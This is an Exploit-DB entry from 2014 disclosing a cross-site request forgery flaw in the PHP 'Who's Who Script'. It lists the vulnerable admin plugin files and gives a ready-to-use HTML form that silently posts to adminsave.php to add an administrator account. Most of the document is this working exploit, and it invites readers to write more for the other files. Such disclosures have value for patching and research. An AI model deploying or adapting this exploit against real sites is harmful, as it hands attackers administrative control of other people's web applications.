Who's Who Script - Cross-Site Request Forgery (Add Admin)

EDB-ID:

35129




Platform:

PHP

Date:

2014-10-31


# Title        : Who's Who Script CSRF Exploit (Add Admin Account)
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Date         : 30.10.2014
# Demo		   : http://demo.phpscriptlerim.com/free/whoswho/
# Download1	   : http://www.phpscriptlerim.com/download/indir.php?id=14
# Download2	   : https://yadi.sk/d/C8eQcvUeJjeZ2
# Thks         : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
# Note		   : I write exploit for adminsave.php but other file has a vuln in /yonetim/plugins folder.
				 You can write exp. for other files.
# Vulnerable   : ayarsave.php, uyesave.php, slaytadd.php, slaytsave.php
# Not Vuln     : uyedel.php and slaytdel.php file's not vulnerable for CSRF. Because session control available to files

<head>
	<meta http-equiv="content-type" content="text/html; charset=utf-8" />
	<title>Who's Who Script CSRF Exploit (Add Admin Account)</title>
</head>

<body>

<div id="main">


	<div id="cols" class="box">

		<hr class="noscreen" />

		<div id="content" class="box">
			<h1>Admin Panel</h1>
			<br>
<br><br>
						<form method="post" action="http://localhost/filepath/yonetim/plugin/adminsave.php">
						<label><b>Username:</b></label><br>
						<input type="text" size="40" name="username" value="admin" class="input-text" /><br><br>
					
						<label><b>Password:</b></label><br>
						<input type="text" size="40" name="password" class="input-text" /><br><br>

						<input type="submit" class="input-submit" name="gonder" value="Save" />
						</form>
						
			<br><br>
		</div>

	</div>

	<hr class="noscreen" />

	<div id="footer" class="box">

		<p class="f-left">© Coded by ZoRLu</p>

		<p class="f-right"><a href="http://milw00rm.com" target="_blank">milw00rm.com</a></p>

	</div> 

</div>

</body>
</html>